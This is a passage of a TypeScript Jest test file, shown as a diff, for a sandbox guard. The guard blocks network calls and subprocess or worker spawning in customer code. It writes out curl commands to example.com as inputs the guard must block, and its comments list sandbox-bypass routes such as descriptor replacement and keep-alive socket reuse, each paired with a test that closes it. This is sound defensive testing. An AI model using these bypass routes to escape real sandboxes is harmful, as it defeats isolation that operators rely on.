dns.promises.reverse('127.0.0.1'); + }), + ).rejects.toThrow(/Network access is not allowed/); + }); + + // Matches guardFetch's contract: dns.promises.* always returns a Promise, so a blocked + // call must reject it rather than throw synchronously. + test('Should reject rather than throw synchronously from dns.promises.resolve4 and dns.promises.Resolver.prototype.resolve4 when blocked', async () => { + await runBlocked(async () => { + // Only the returned Promise should reject — calling the method itself must not throw. + let plainCallResult: Promise | undefined; + expect(() => { + plainCallResult = dns.promises.resolve4('example.com'); + }).not.toThrow(); + // Duck-typed, not `toBeInstanceOf(Promise)` — this file and its test file can be + // separate module evaluations under Jest's per-file isolation, so the returned + // value's `Promise` constructor may not be strictly `===` this test file's own. + expect(typeof plainCallResult?.then).toBe('function'); + await expect(plainCallResult).rejects.toThrow(/Network access is not allowed/); + + // A caller chaining `.catch()` directly onto the call (not awaiting/try-catching + // it) must have that handler actually fire, proving a real rejection occurred + // rather than an uncaught synchronous exception the `.catch()` never attaches to. + let caught: unknown; + expect(() => { + dns.promises.resolve4('example.com').catch((err: unknown) => { + caught = err; + }); + }).not.toThrow(); + await Promise.resolve(); + // Same cross-realm caveat as above — duck-type instead of `toBeInstanceOf(Error)`. + expect(typeof (caught as Error)?.message).toBe('string'); + expect((caught as Error).message).toMatch(/Network access is not allowed/); + + // Same contract on the Resolver-instance surface. + const resolver = new dns.promises.Resolver(); + let resolverCallResult: Promise | undefined; + expect(() => { + resolverCallResult = resolver.resolve4('example.com'); + }).not.toThrow(); + expect(typeof resolverCallResult?.then).toBe('function'); + await expect(resolverCallResult).rejects.toThrow( + /Network access is not allowed/, + ); + }); + }); + + test('Should restore the real dns.resolve4 after fn resolves', async () => { + const realResolve4 = dns.resolve4; + await runBlocked(async () => undefined); + expect(dns.resolve4).toBe(realResolve4); + }); + + test('Should let dns.resolve4 pass through to the underlying implementation outside a blocked scope', async () => { + const originalResolve4 = dns.resolve4; + const mockResolve4 = jest.fn( + (hostname: string, callback: (...a: never[]) => void) => + (callback as (err: null, addresses: string[]) => void)(null, ['127.0.0.1']), + ); + (dns as unknown as { resolve4: unknown }).resolve4 = mockResolve4; + + try { + await new Promise((resolve) => { + dns.resolve4('example.com', () => resolve()); + }); + expect(mockResolve4).toHaveBeenCalled(); + } finally { + (dns as unknown as { resolve4: unknown }).resolve4 = originalResolve4; + } + }); + }); + + // Global WebSocket doesn't exist on every Node version this repo supports (CI pins Node 20, + // where it's absent) — skip rather than fail on a version where there's nothing to guard. + const GlobalWebSocket = ( + globalThis as unknown as { WebSocket?: new (url: string) => unknown } + ).WebSocket; + const testIfWebSocketExists = GlobalWebSocket ? test : test.skip; + testIfWebSocketExists('Should block a new WebSocket(...) call made inside fn', async () => { + // eslint-disable-next-line jest/no-standalone-expect -- testIfWebSocketExists is test/test.skip, the rule just can't see through the variable + await expect( + runBlocked(async () => { + new (GlobalWebSocket as new (url: string) => unknown)('ws://example.com'); + }), + ).rejects.toThrow(/Network access is not allowed/); + }); + + // spawn()/fork() synthesize a brand-new ChildProcess and never throw synchronously in real + // Node — failure is only ever reported via the returned object's async 'error' event, so + // the guard returns a stub shaped like the real return value instead of throwing. + test("Should block child_process.spawn() and fork() made inside fn via the async 'error' event on the returned stub, not a synchronous throw", async () => { + await runBlocked(async () => { + let child: ReturnType | undefined; + expect(() => { + child = child_process.spawn('curl', ['https://example.com']); + }).not.toThrow(); + const err = await new Promise((resolve) => child?.once('error', resolve)); + expect(err.message).toMatch(/Spawning a subprocess is not allowed/); + }); + + await runBlocked(async () => { + let child: ReturnType | undefined; + expect(() => { + child = child_process.fork('./some-script.js'); + }).not.toThrow(); + const err = await new Promise((resolve) => child?.once('error', resolve)); + expect(err.message).toMatch(/Spawning a subprocess is not allowed/); + }); + }); + + // Real spawn()/fork() always populate stdout/stderr/stdin and (for fork()) send()/ + // disconnect(), even for a command that never actually runs — a caller commonly touches + // these right after the call, before any 'error' event has had a chance to fire. + test('Should let a blocked spawn()/fork() stub be used like a real ChildProcess without throwing', async () => { + await runBlocked(async () => { + const child = child_process.spawn('curl', ['https://example.com']); + expect(() => child.stdout?.on('data', () => {})).not.toThrow(); + expect(() => child.stderr?.on('data', () => {})).not.toThrow(); + expect(() => child.stdin?.write('data')).not.toThrow(); + expect(child.kill()).toBe(false); + }); + + await runBlocked(async () => { + const child = child_process.fork('./some-script.js'); + expect(() => child.disconnect()).not.toThrow(); + // send() with a callback: the callback receives the error, matching a real + // disconnected channel's contract. + const callbackErr = await new Promise((resolve) => { + expect(() => + child.send({ hello: 'world' }, (err) => resolve(err as Error)), + ).not.toThrow(); + }); + expect(callbackErr.message).toBeTruthy(); + + // send() with no callback: falls back to an 'error' event instead of silently + // dropping the failure. + const eventErr = await new Promise((resolve) => { + child.once('error', resolve); + expect(() => child.send({ hello: 'world' })).not.toThrow(); + }); + expect(eventErr.message).toBeTruthy(); + }); + }); + + // spawnSync never throws in real Node either — it returns a SpawnSyncReturns-shaped object + // with `.error` set, so the guard mirrors that shape instead of throwing. `output` is `null` + // on a real launch failure (not an array), and `stdout`/`stderr` are `undefined` — a caller + // checking `if (result.output) { result.output[1].toString() }` would TypeError against a + // truthy-but-empty array. + test('Should block child_process.spawnSync() made inside fn via a SpawnSyncReturns-shaped `.error` matching real Node exactly, not a synchronous throw', async () => { + await runBlocked(async () => { + let result: ReturnType | undefined; + expect(() => { + result = child_process.spawnSync('curl', ['https://example.com']); + }).not.toThrow(); + expect(result?.error?.message).toMatch(/Spawning a subprocess is not allowed/); + expect(result?.output).toBeNull(); + expect(result?.stdout).toBeUndefined(); + expect(result?.stderr).toBeUndefined(); + expect(result?.status).toBeNull(); + expect(result?.signal).toBeNull(); + }); + }); + + // exec/execFile report failure via an error-first callback in real Node, unlike execSync/ + // execFileSync below, which genuinely do throw synchronously. Real Node sets stdout/stderr + // to empty strings (not undefined) even on a launch failure — a caller doing + // `err.stderr.trim()` in its callback would TypeError against `undefined`. + test('Should block child_process.exec() and execFile() made inside fn via their error-first callback, matching real Node exactly', async () => { + await runBlocked(async () => { + const [err, stdout, stderr] = await new Promise<[Error, unknown, unknown]>( + (resolve) => { + expect(() => + child_process.exec('curl https://example.com', (execErr, out, errOut) => + resolve([execErr as Error, out, errOut]), + ), + ).not.toThrow(); + }, + ); + expect(err.message).toMatch(/Spawning a subprocess is not allowed/); + expect(stdout).toBe(''); + expect(stderr).toBe(''); + }); + + await runBlocked(async () => { + const [err, stdout, stderr] = await new Promise<[Error, unknown, unknown]>( + (resolve) => { + expect(() => + child_process.execFile( + 'curl', + ['https://example.com'], + (execErr, out, errOut) => resolve([execErr as Error, out, errOut]), + ), + ).not.toThrow(); + }, + ); + expect(err.message).toMatch(/Spawning a subprocess is not allowed/); + expect(stdout).toBe(''); + expect(stderr).toBe(''); + }); + }); + + test('Should not crash the process when exec()/execFile() is called with no callback', async () => { + await runBlocked(async () => { + expect(() => child_process.exec('curl https://example.com')).not.toThrow(); + expect(() => child_process.execFile('curl', ['https://example.com'])).not.toThrow(); + }); + // If the guard had emitted an unlistened 'error' on the discarded stub, the resulting + // uncaught exception would already have crashed this Jest worker by now. + await new Promise((resolve) => setImmediate(resolve)); + }); + + test('Should block child_process.execSync() and execFileSync() made inside fn via a synchronous throw, matching their real contract', async () => { + await expect( + runBlocked(async () => { + child_process.execSync('curl https://example.com'); + }), + ).rejects.toThrow(/Spawning a subprocess is not allowed/); + await expect( + runBlocked(async () => { + child_process.execFileSync('curl', ['https://example.com']); + }), + ).rejects.toThrow(/Spawning a subprocess is not allowed/); + }); + + // promisify.custom lives on the specific function object, not inherited by a fresh wrapper — @dd/tools execute() depends on the real shape. + test('Should resolve promisify(execFile) to the real {stdout, stderr} shape, not a bare string, when not blocked', async () => { + const execFileP = promisify(child_process.execFile); + const result = await execFileP('node', ['-e', 'console.log("hi")']); + expect(result).toEqual( + expect.objectContaining({ stdout: expect.stringContaining('hi') }), + ); + }); + + test("Should still block promisify(execFile) inside a runBlocked scope, with stdout/stderr matching real Node's empty-string contract", async () => { + const execFileP = promisify(child_process.execFile); + await expect( + runBlocked(async () => { + await execFileP('node', ['-e', 'console.log("hi")']); + }), + ).rejects.toMatchObject({ + message: expect.stringMatching(/Spawning a subprocess is not allowed/), + stdout: '', + stderr: '', + }); + }); + + // exec/execFile share a guard maker but take different argument shapes — a fix for one could silently miss the other. + test('Should resolve promisify(exec) to the real {stdout, stderr} shape and still block it inside runBlocked', async () => { + const execP = promisify(child_process.exec); + const result = await execP('node -e "console.log(\'hi\')"'); + expect(result).toEqual( + expect.objectContaining({ stdout: expect.stringContaining('hi') }), + ); + + await expect( + runBlocked(async () => { + await execP('node -e "console.log(\'hi\')"'); + }), + ).rejects.toThrow(/Spawning a subprocess is not allowed/); + }); + + // Matches Node's real promisify(execFile) contract: a rejected error carries stdout/stderr too, not just a resolved success. + test('Should attach stdout/stderr onto a rejected promisify(execFile) error, matching real Node behavior', async () => { + const execFileP = promisify(child_process.execFile); + await expect( + execFileP('node', [ + '-e', + 'console.log("out"); console.error("boom"); process.exit(1)', + ]), + ).rejects.toEqual( + expect.objectContaining({ + stdout: expect.stringContaining('out'), + stderr: expect.stringContaining('boom'), + }), + ); + }); + + // Matches Node's real PromiseWithChild contract — a caller outside a blocked scope that + // inspects/signals/terminates `.child` must not lose it to this guard's own implementation. + test("Should expose the spawned ChildProcess as `.child` on promisify(execFile)'s returned promise", async () => { + const execFileP = promisify(child_process.execFile); + const resultPromise = execFileP('node', ['-e', 'console.log("hi")']); + expect(resultPromise.child).toBeInstanceOf(child_process.ChildProcess); + await resultPromise; + }); + + test("Should expose the spawned ChildProcess as `.child` on promisify(exec)'s returned promise too", async () => { + const execP = promisify(child_process.exec); + const resultPromise = execP('node -e "console.log(\'hi\')"'); + expect(resultPromise.child).toBeInstanceOf(child_process.ChildProcess); + await resultPromise; + }); + + // ChildProcess.prototype.spawn isn't in @types/node's public surface, so a locally-scoped + // interface stands in for its real shape instead of an `any` escape hatch. + interface ChildProcessWithSpawn { + spawn(options: { file: string }): number; + once(event: 'error', listener: (err: Error) => void): void; + } + + // A dependency calling `new child_process.ChildProcess().spawn(...)` directly bypasses all + // the higher-level guarded factory functions above. Unlike those, `this` is already the + // real ChildProcess instance — spawn() itself never throws in real Node and returns a + // synchronous integer, not undefined, so the guard emits 'error' on `this` and returns a + // negative placeholder rather than fabricating a stub. + test("Should block a direct new child_process.ChildProcess().spawn(...) call via the async 'error' event, bypassing the factory functions", async () => { + await runBlocked(async () => { + const child = new child_process.ChildProcess() as unknown as ChildProcessWithSpawn; + let returnValue: number | undefined; + expect(() => { + returnValue = child.spawn({ file: 'curl' }); + }).not.toThrow(); + expect(typeof returnValue).toBe('number'); + expect(returnValue).toBeLessThan(0); + const err = await new Promise((resolve) => child.once('error', resolve)); + expect(err.message).toMatch(/Spawning a subprocess is not allowed/); + }); + }); + + // A worker gets a fresh V8 realm with its own module registry, so nothing inside it inherits + // this file's monkeypatches — the only enforceable boundary is blocking construction itself. + test('Should block new Worker(...) construction made inside fn', async () => { + await expect( + runBlocked(async () => { + new worker_threads.Worker('', { eval: true }); + }), + ).rejects.toThrow(/Spawning a worker thread is not allowed/); + }); + + test('Should allow constructing, messaging, and cleanly terminating a Worker outside a blocked scope', async () => { + const worker = new worker_threads.Worker( + "require('worker_threads').parentPort.on('message', () => undefined);", + { eval: true }, + ); + expect(worker).toBeInstanceOf(worker_threads.Worker); + try { + expect(() => worker.postMessage('ping')).not.toThrow(); + } finally { + await expect(worker.terminate()).resolves.toEqual(expect.any(Number)); + } + }); + + // fn returning doesn't mean fn is done — detached async work it scheduled without awaiting keeps running and must still see the guard. + test('Should still block a detached, unawaited setTimeout callback scheduled during fn, even after fn itself has already resolved', async () => { + let detachedFetchResult: Promise | undefined; + let detachedFetchSettled = false; + + await runBlocked(async () => { + // Deliberately not awaited — fn returns immediately while this keeps running in the background. + setTimeout(() => { + const result = fetch('https://example.com'); + detachedFetchResult = result; + // Attached synchronously so the rejection is never briefly unhandled before the `.rejects` assertion below attaches its own handler. + result.then( + () => { + detachedFetchSettled = true; + }, + () => { + detachedFetchSettled = true; + }, + ); + }, 0); + }); + + // fn (and therefore runBlocked) has already resolved here — a per-cycle restore would have put the real fetch back before this fires. + await new Promise((resolve) => setTimeout(resolve, 10)); + + expect(detachedFetchSettled).toBe(true); + await expect(detachedFetchResult).rejects.toThrow(/Network access is not allowed/); + }); + + test('Should restore the real net.Socket.connect after fn resolves', async () => { + const realConnect = net.Socket.prototype.connect; + await runBlocked(async () => undefined); + expect(net.Socket.prototype.connect).toBe(realConnect); + }); + + test('Should restore the real fetch after fn resolves', async () => { + const realFetch = globalThis.fetch; + await runBlocked(async () => undefined); + expect(globalThis.fetch).toBe(realFetch); + }); + + test('Should restore the real network functions even when fn throws', async () => { + const realConnect = net.Socket.prototype.connect; + const realFetch = globalThis.fetch; + await expect( + runBlocked(async () => { + throw new Error('customer function boom'); + }), + ).rejects.toThrow('customer function boom'); + expect(net.Socket.prototype.connect).toBe(realConnect); + expect(globalThis.fetch).toBe(realFetch); + }); + + test('Should not block a subsequent, separate runBlocked call after an earlier one already restored', async () => { + await expect( + runBlocked(async () => { + throw new Error('first execution boom'); + }), + ).rejects.toThrow('first execution boom'); + + // Confirms the guard doesn't leak a "still blocked" state the way a naive boolean (never reset on throw) could. + const result = await runBlocked(async () => 'second execution result'); + expect(result).toBe('second execution result'); + }); + + // The guarded property holds no snapshot to reinstall — its setter just updates the delegate — so an idle forceReset() has nothing to clobber. + test('Should make an idle forceReset() a true no-op, never reinstalling an earlier mock over the current one', async () => { + const originalFetch = globalThis.fetch; + try { + const mockA = jest.fn().mockResolvedValue('mock A'); + setGlobalFetch(mockA as unknown as typeof fetch); + + await runBlocked(async () => undefined); + await expect(fetch('https://example.com')).resolves.toBe('mock A'); + + // A later, unrelated mock is installed with runBlocked never called again in between, so the guard is genuinely idle. + const mockB = jest.fn().mockResolvedValue('mock B'); + setGlobalFetch(mockB as unknown as typeof fetch); + + forceReset(); + + await expect(fetch('https://example.com')).resolves.toBe('mock B'); + } finally { + setGlobalFetch(originalFetch); + } + }); + + // An abandoned execution's late settlement must not restore real network access out from under a newer, active runBlocked scope. + test("Should not let an abandoned runBlocked call's late restore corrupt a newer, currently-active runBlocked scope", async () => { + let resolveAbandoned: (() => void) | undefined; + const abandoned = runBlocked( + () => + new Promise((resolve) => { + resolveAbandoned = resolve; + }), + ); + + // Simulates the timeout handler abandoning this execution, exactly like local-execution.ts's timer callback. + forceReset(); + + // A second, newer execution starts its own scope; the fetch() check runs from inside its fn to verify customer code is still blocked. + let openGate: (() => void) | undefined; + const gate = new Promise((resolve) => { + openGate = resolve; + }); + let currentFetchResult: Promise | undefined; + const current = runBlocked(async () => { + await gate; + currentFetchResult = fetch('https://example.com'); + await currentFetchResult.catch(() => undefined); + }); + + // The abandoned execution's fn() finally settles — its own finally block must not unblock the still-running newer scope. + resolveAbandoned?.(); + await abandoned; + + openGate?.(); + await current; + await expect(currentFetchResult).rejects.toThrow(/Network access is not allowed/); + }); + + // The "const original = x; x = mock; x = original;" idiom hands the guard itself back on + // restore — confirms this round-trips to the real value instead of recursing into itself. + test('Should not infinite-recurse when a caller restores a previously-read guard back onto a guarded property', async () => { + const nativeStandIn = jest.fn().mockResolvedValue('native result'); + const originalFetch = globalThis.fetch; + setGlobalFetch(nativeStandIn as unknown as typeof fetch); + + try { + const capturedOriginal = globalThis.fetch; + const mock = jest.fn().mockResolvedValue('mock result'); + setGlobalFetch(mock as unknown as typeof fetch); + + await expect(fetch('https://example.com')).resolves.toBe('mock result'); + + setGlobalFetch(capturedOriginal); + + await expect(fetch('https://example.com')).resolves.toBe('native result'); + } finally { + setGlobalFetch(originalFetch); + } + }); + + // guardFetch is a process-wide singleton — code that never entered any runBlocked scope must not be blocked by an unrelated one. + test('Should not block a concurrent fetch() made from code that never entered any runBlocked scope', async () => { + const fetchMock = jest.fn().mockResolvedValue('unrelated response'); + const originalFetch = globalThis.fetch; + setGlobalFetch(fetchMock as unknown as typeof fetch); + + try { + let resolveBlocked: (() => void) | undefined; + const blocked = runBlocked( + () => + new Promise((resolve) => { + resolveBlocked = resolve; + }), + ); + + // Made from code entirely outside runBlocked/runAllowed, e.g. a concurrent cloud-mode request's own real fetch call. + await expect(fetch('https://api.datadoghq.com/unrelated')).resolves.toBe( + 'unrelated response', + ); + + resolveBlocked?.(); + await blocked; + } finally { + setGlobalFetch(originalFetch); + } + }); + }); + + describe('runAllowed', () => { + test('Should let a real network call through when nested inside runBlocked', async () => { + const fetchMock = jest.fn().mockResolvedValue('real response'); + const originalFetch = globalThis.fetch; + setGlobalFetch(fetchMock as unknown as typeof fetch); + + try { + const result = await runBlocked(async () => + runAllowed(async () => fetch('https://api.datadoghq.com')), + ); + expect(result).toBe('real response'); + expect(fetchMock).toHaveBeenCalledWith('https://api.datadoghq.com'); + } finally { + setGlobalFetch(originalFetch); + } + }); + + test('Should re-block network once the allowed call finishes, while the outer execution is still running', async () => { + await runBlocked(async () => { + await runAllowed(async () => undefined); + await expect(fetch('https://example.com')).rejects.toThrow( + /Network access is not allowed/, + ); + }); + }); + + test('Should keep two concurrent, legitimate $.Actions calls both allowed while they overlap, independently of each other', async () => { + const fetchMock = jest.fn().mockResolvedValue('ok'); + const originalFetch = globalThis.fetch; + setGlobalFetch(fetchMock as unknown as typeof fetch); + const order: string[] = []; + + try { + await runBlocked(async () => { + const first = runAllowed(async () => { + order.push('first-start'); + await new Promise((r) => setTimeout(r, 20)); + // Must still succeed even after `second` already finished — each call's exemption is scoped to its own async chain, not a shared depth counter. + await expect(fetch('https://first.example.com')).resolves.toBe('ok'); + order.push('first-end'); + }); + const second = runAllowed(async () => { + order.push('second-start'); + await expect(fetch('https://second.example.com')).resolves.toBe('ok'); + order.push('second-end'); + }); + + await second; + await first; + }); + } finally { + setGlobalFetch(originalFetch); + } + + expect(order).toEqual(['first-start', 'second-start', 'second-end', 'first-end']); + }); + + // A shared, process-wide "allowed" toggle would wrongly let this sibling fetch() through while an unrelated $.Actions call is in flight. + test('Should keep a sibling raw fetch() call blocked while a concurrent, legitimate $.Actions call is in flight', async () => { + const fetchMock = jest.fn().mockResolvedValue('real response'); + const originalFetch = globalThis.fetch; + setGlobalFetch(fetchMock as unknown as typeof fetch); + + try { + await runBlocked(async () => { + const allowedCall = runAllowed(async () => { + await new Promise((r) => setTimeout(r, 20)); + return fetch('https://api.datadoghq.com'); + }); + + // Made directly by "customer code", not through runAllowed, while allowedCall is still in flight. + await expect(fetch('https://example.com')).rejects.toThrow( + /Network access is not allowed/, + ); + + await expect(allowedCall).resolves.toBe('real response'); + }); + } finally { + setGlobalFetch(originalFetch); + } + }); + + test('Should still re-block after the allowed call finishes even if it throws', async () => { + await runBlocked(async () => { + await expect( + runAllowed(async () => { + throw new Error('action call failed'); + }), + ).rejects.toThrow('action call failed'); + await expect(fetch('https://example.com')).rejects.toThrow( + /Network access is not allowed/, + ); + }); + }); + + // An abandoned execution's in-flight $.Actions call settling late must not affect any execution that runs afterward. + test("Should not let an abandoned runAllowed call's late settlement affect later executions", async () => { + let resolveAbandonedAction: (() => void) | undefined; + const abandonedAction = runAllowed( + () => + new Promise((resolve) => { + resolveAbandonedAction = resolve; + }), + ); + + // Simulates the timeout handler abandoning this execution while the $.Actions call above is still in flight. + forceReset(); + + // A newer execution's own legitimate $.Actions call must be correctly allowed through and re-blocked afterward. + const result = await runBlocked(async () => { + await runAllowed(async () => 'newer allowed call'); + await expect(fetch('https://example.com')).rejects.toThrow( + /Network access is not allowed/, + ); + return 'newer execution result'; + }); + expect(result).toBe('newer execution result'); + + // The abandoned call finally settles, well after being superseded — it must not affect anything else. + resolveAbandonedAction?.(); + await abandonedAction; + + // A further, unrelated later execution's own $.Actions call must still work. + const laterResult = await runBlocked(async () => + runAllowed(async () => 'later allowed call'), + ); + expect(laterResult).toBe('later allowed call'); + }); + + // Stricter than the test above: runAllowed is called after forceReset already cleared the guard, so it must be a no-op. + test('Should treat a runAllowed call that only starts after its execution was already abandoned as a no-op, not a stale-but-matching generation', async () => { + const fetchMock = jest.fn().mockResolvedValue('ok'); + const originalFetch = globalThis.fetch; + setGlobalFetch(fetchMock as unknown as typeof fetch); + + try { + forceReset(); + + let resolveLateAction: (() => void) | undefined; + const lateAction = runAllowed( + () => + new Promise((resolve) => { + resolveLateAction = resolve; + }), + ); + resolveLateAction?.(); + await lateAction; + + // If the bug were present, the late call's finally would have left fetch permanently blocked even with nothing legitimate currently executing. + await expect(fetch('https://example.com')).resolves.toBe('ok'); + + // A real, later execution must still work normally afterward. + const result = await runBlocked(async () => { + await runAllowed(async () => undefined); + await expect(fetch('https://example.com')).rejects.toThrow( + /Network access is not allowed/, + ); + return 'later execution result'; + }); + expect(result).toBe('later execution result'); + } finally { + setGlobalFetch(originalFetch); + } + }); + + // Regression test: forceReset()'s unconditional reset would have wrongly cleared a newer, + // still-active scope here too — abandonIfCurrent() must only clear its own scope. + test("Should not let an abandoned execution's own scope handle disturb a newer, still-active execution when abandoned late", async () => { + let abandonedScopeHandle: { abandonIfCurrent: () => void } | undefined; + let resolveAbandonedFn: (() => void) | undefined; + const abandoned = runBlocked( + () => + new Promise((resolve) => { + resolveAbandonedFn = resolve; + }), + (handle) => { + abandonedScopeHandle = handle; + }, + ); + + // A newer execution starts before the abandoned one's timeout fires, taking over as the active scope. + let resolveAllowedCall: ((value: string) => void) | undefined; + const newerExecution = runBlocked(async () => { + const allowedResult = await runAllowed( + () => + new Promise((resolve) => { + resolveAllowedCall = resolve; + }), + ); + await expect(fetch('https://example.com')).rejects.toThrow( + /Network access is not allowed/, + ); + return allowedResult; + }); + + // The abandoned execution's timeout fires here, after the newer scope has already taken over. + abandonedScopeHandle?.abandonIfCurrent(); + + resolveAllowedCall?.('newer allowed call, unaffected by the late abandon'); + await expect(newerExecution).resolves.toBe( + 'newer allowed call, unaffected by the late abandon', + ); + + resolveAbandonedFn?.(); + await abandoned; + }); + }); +}); + +describe('installGuardedProperty resilience', () => { + // guardWebSocket returns undefined (not a guard function) when the global doesn't exist — + // buildGuard() must not pass that to WeakMap.set(), which throws on a non-object key. + test('Should not throw when installing the WebSocket guard on a Node version where global WebSocket does not exist', () => { + const hadWebSocket = Object.prototype.hasOwnProperty.call(globalThis, 'WebSocket'); + const descriptor = hadWebSocket + ? Object.getOwnPropertyDescriptor(globalThis, 'WebSocket') + : undefined; + delete (globalThis as { WebSocket?: unknown }).WebSocket; + + try { + expect(() => { + jest.isolateModules(() => { + // eslint-disable-next-line global-require -- must load fresh, after WebSocket is deleted, to re-run this module's install-time guards + require('./network-guard'); + }); + }).not.toThrow(); + } finally { + if (descriptor) { + Object.defineProperty(globalThis, 'WebSocket', descriptor); + } + forceReset(); + } + }); + + // A wrapper closure over the previous guard (some mocking libraries' pattern, distinct from the + // direct-reassignment case the WeakMap handles) would otherwise recurse into itself forever, + // since its captured getReal() would read the shared `real` variable the new guard just set. + test('Should not recurse when a guard is restored via a wrapper closure instead of direct reassignment', async () => { + const originalFetch = globalThis.fetch; + try { + const realMock = jest.fn().mockResolvedValue('real result'); + setGlobalFetch(realMock as unknown as typeof fetch); + const previous = globalThis.fetch; + + setGlobalFetch(((...args: Parameters) => + previous(...args)) as typeof fetch); + + await expect(fetch('https://example.com')).resolves.toBe('real result'); + } finally { + setGlobalFetch(originalFetch); + } + }); + + // CI pipes stdout/stderr into real net.Socket instances, so jest.spyOn(process.stderr, 'write') + // elsewhere in this repo's test suite resolves `write` via our guarded net.Socket.prototype + // accessor — jest-mock's own spyOn/mockRestore redefines the property using the descriptor it + // found, so a non-configurable descriptor there makes Jest's own restore throw, unrelated to + // any dependency this guard exists to stop. + test("Should let Jest's own spyOn/mockRestore redefine a net.Socket instance's write() without throwing", () => { + const socket = new net.Socket(); + const spy = jest.spyOn(socket, 'write').mockImplementation(() => true); + expect(() => spy.mockRestore()).not.toThrow(); + }); +}); + +describe('installGuardedProperty security', () => { + // A dependency could otherwise call `Object.defineProperty(globalThis, 'fetch', {...})` directly + // to replace the whole descriptor, silently restoring real network access — closed by installing + // non-configurable outside of Jest. RUNNING_UNDER_JEST is computed once at module load, so a + // fresh module instance with JEST_WORKER_ID unset is required to exercise that production branch. + test('Should make a guarded property non-configurable outside of Jest, closing the Object.defineProperty bypass, while still allowing plain reassignment', () => { + const originalJestWorkerId = process.env.JEST_WORKER_ID; + delete process.env.JEST_WORKER_ID; + + try { + // Definite assignment assertion: assigned synchronously inside jest.isolateModules below, + // which TS's control-flow analysis doesn't see into. + let freshInstallGuardedProperty!: typeof installGuardedProperty; + jest.isolateModules(() => { + // eslint-disable-next-line global-require -- must load fresh, with JEST_WORKER_ID unset, to exercise the non-Jest non-configurable branch + freshInstallGuardedProperty = require('./network-guard').installGuardedProperty; + }); + + const target: { value: unknown } = { value: () => 'real' }; + freshInstallGuardedProperty( + target, + 'value', + (getReal: () => () => unknown) => + (...args: unknown[]) => + (getReal() as (...a: unknown[]) => unknown)(...args), + ); + + // A dependency replacing the whole descriptor outright must now fail loudly... + expect(() => { + Object.defineProperty(target, 'value', { + configurable: true, + enumerable: true, + value: () => 'hostile replacement', + }); + }).toThrow(/Cannot redefine property/); + + // ...while the legitimate "capture original, mock, restore" idiom still works via plain assignment. + const mock = () => 'mocked'; + (target as { value: unknown }).value = mock; + expect((target.value as () => string)()).toBe('mocked'); + } finally { + if (originalJestWorkerId !== undefined) { + process.env.JEST_WORKER_ID = originalJestWorkerId; + } + } + }); + + // Guarding net.Socket.prototype directly (one property, shared by every socket) means a plain + // `someSocket.write = mock` — an ordinary instance-level reassignment, not a hostile bypass — + // must shadow the guard for that instance only, not repoint the one delegate every other + // socket's guard still calls through. + test('Should shadow a guarded property per-instance instead of corrupting the shared delegate when installed on a shared prototype', () => { + const proto: { value: unknown } = { value: () => 'real' }; + installGuardedProperty( + proto, + 'value', + (getReal: () => () => unknown) => + (...args: unknown[]) => + (getReal() as (...a: unknown[]) => unknown)(...args), + ); + + const instanceA = Object.create(proto) as { value: unknown }; + const instanceB = Object.create(proto) as { value: unknown }; + + instanceA.value = () => 'mocked'; + + expect((instanceA.value as () => string)()).toBe('mocked'); + expect((instanceB.value as () => string)()).toBe('real'); + expect((proto.value as () => string)()).toBe('real'); + }); + + // Matches dns.resolveTlsa on Node 20: wrapping a method absent on this runtime would make + // feature-detection lie, then crash the moment a library actually calls it. + test('Should skip installing a guard entirely when the target property does not exist on this runtime', () => { + const target: Record = {}; + installGuardedProperty(target, 'doesNotExist', () => () => 'guard'); + expect(Object.prototype.hasOwnProperty.call(target, 'doesNotExist')).toBe(false); + }); + + // isCurrentlyBlocked() is the shared gate for every guard in this file — a fake AsyncLocalStorage + // swapped in here (via a plain `net[symbol] = ...` assignment, which any code holding a `net` + // reference could do) would silently disable all of them at once, not just one API surface. + test('Should protect the AsyncLocalStorage registry entries stashed on `net` from being overwritten by any code holding a `net` reference', () => { + const symbol = Symbol.for('@dd/apps-plugin/network-guard blockedContext'); + const registry = net as unknown as Record; + const descriptor = Object.getOwnPropertyDescriptor(registry, symbol); + expect(descriptor).toMatchObject({ writable: false, configurable: false }); + + expect(() => { + Object.defineProperty(registry, symbol, { + configurable: true, + value: { getStore: () => undefined, run: (_v: unknown, fn: () => unknown) => fn() }, + }); + }).toThrow(/Cannot redefine property/); + }); +}); + +describe('guardEventSource and guardWorker', () => { + // Global EventSource requires --experimental-eventsource on this repo's Node versions, so this + // exercises guardEventSource directly against a fake constructor, not through the real global. + test('Should block construction inside runBlocked and allow it outside', async () => { + class FakeEventSource { + url: string; + constructor(url: string) { + this.url = url; + } + } + const Guarded = guardEventSource(() => FakeEventSource) as new (url: string) => unknown; + + await expect( + runBlocked(async () => { + new Guarded('http://example.com'); + }), + ).rejects.toThrow(/Network access is not allowed/); + + expect(() => new Guarded('http://example.com')).not.toThrow(); + }); + + test('Should return undefined when the real EventSource does not exist on this runtime', () => { + expect(guardEventSource(() => undefined)).toBeUndefined(); + }); + + // A later reassignment of worker_threads.Worker to undefined (e.g. the same "capture original, + // mock, restore" idiom exercised elsewhere in this file, with a mock value of undefined) must + // degrade gracefully instead of crashing installGuardedProperty's setter with `new Proxy(undefined, {})`. + test('Should return undefined when the real Worker does not exist on this runtime', () => { + expect(guardWorker(() => undefined)).toBeUndefined(); + }); +}); + +describe('construct-trap newTarget forwarding', () => { + // Discarding newTarget would make `class Foo extends WebSocket/Worker {}` silently produce a + // base instance instead — exercised against fake constructors to avoid real construction side effects. + test('guardWebSocket should forward newTarget so a subclass produces an instance of that subclass', () => { + class FakeWebSocket { + url: string; + constructor(url: string) { + this.url = url; + } + } + const Guarded = guardWebSocket(() => FakeWebSocket) as new (url: string) => object; + class CustomWebSocket extends Guarded {} + + const instance = new CustomWebSocket('ws://example.com'); + expect(instance).toBeInstanceOf(CustomWebSocket); + }); + + test('guardWorker should forward newTarget so a subclass produces an instance of that subclass', () => { + class FakeWorker { + options: unknown; + constructor(options: unknown) { + this.options = options; + } + } + const Guarded = guardWorker( + () => FakeWorker as unknown as typeof worker_threads.Worker, + ) as unknown as new (options: unknown) => object; + class CustomWorker extends Guarded {} + + const instance = new CustomWorker({}); + expect(instance).toBeInstanceOf(CustomWorker); + }); +}); + +describe('keep-alive connection reuse', () => { + // A reused keep-alive socket (e.g. Node's default http.globalAgent) never calls + // net.Socket.connect() again for a second request to the same host — connecting outside a + // blocked scope and only writing inside one, as below, reproduces exactly what a real + // keep-alive reuse looks like from the guard's perspective, without needing a real HTTP + // round-trip (which this repo's Jest setup blocks via Nock's disabled net connect). + test('Should still block a write on a socket that was connected before the blocked scope started', async () => { + const { server, socket } = await createRealConnectedSocket(); + + try { + await runBlocked(async () => { 